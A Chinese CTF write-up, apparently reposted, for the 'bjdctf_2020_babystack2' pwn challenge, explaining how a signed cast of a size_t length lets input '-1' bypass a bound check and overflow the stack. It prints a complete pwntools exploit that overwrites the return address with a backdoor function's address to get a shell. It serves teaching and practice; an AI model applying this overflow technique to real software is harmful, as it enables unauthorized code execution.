bjdctf_2020_babystack2


  此題考整型的有符號無符號的東西。。。

  下載文件還是,先檢查一下保護。

  

  64位程序,只開啟了堆棧不可執行,看一下ida的偽代碼。

  大概流程就是先讓你輸入一個數,這個數就是后面read的可以輸入的長度,要想進行溢出,就必須有足夠的長度,但是有一個校驗,不讓這個數大於十,我們得想辦法繞過這個校驗,讓我們可以進行溢出。

  看一眼nbytes的類型是size_t,從百度百科查了一下,大概是這么個意思。

  大概就是一個無符號型整數,無符號型。。。but!!!你們仔細看看偽代碼的圖的if。

if ( (signed int)nbytes > 10 )

  這里強制轉換將這個東西轉換成有符號的整數,關於整數溢出,大家可以看看這個博客,一看就懂了!

  https://blog.csdn.net/xzli8_geo/article/details/83794268

  這么來說,假如我們輸入一個輸入進內存里面的是ffff,對於無符號型,那就是一個正數,但是變成有符號型整數,那么這個值就是-1,這樣就繞過了這個檢驗,溢出長度就可以很長了!!!

  貼一下exp:

 1 from pwn import *
 2 
 3 p = process('./bjdctf_2020_babystack2')
 4 #p = remote('node3.buuoj.cn',27265)
 5 context.log_level = 'debug'
 6 
 7 shell_addr = 0x0400726
 8 p.recv()
 9 p.sendline('-1')
10 p.recv()
11 payload = '\x39'*0x10 + 'bbbbbbbb' + p64(shell_addr)
12 p.send(payload)
13 p.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM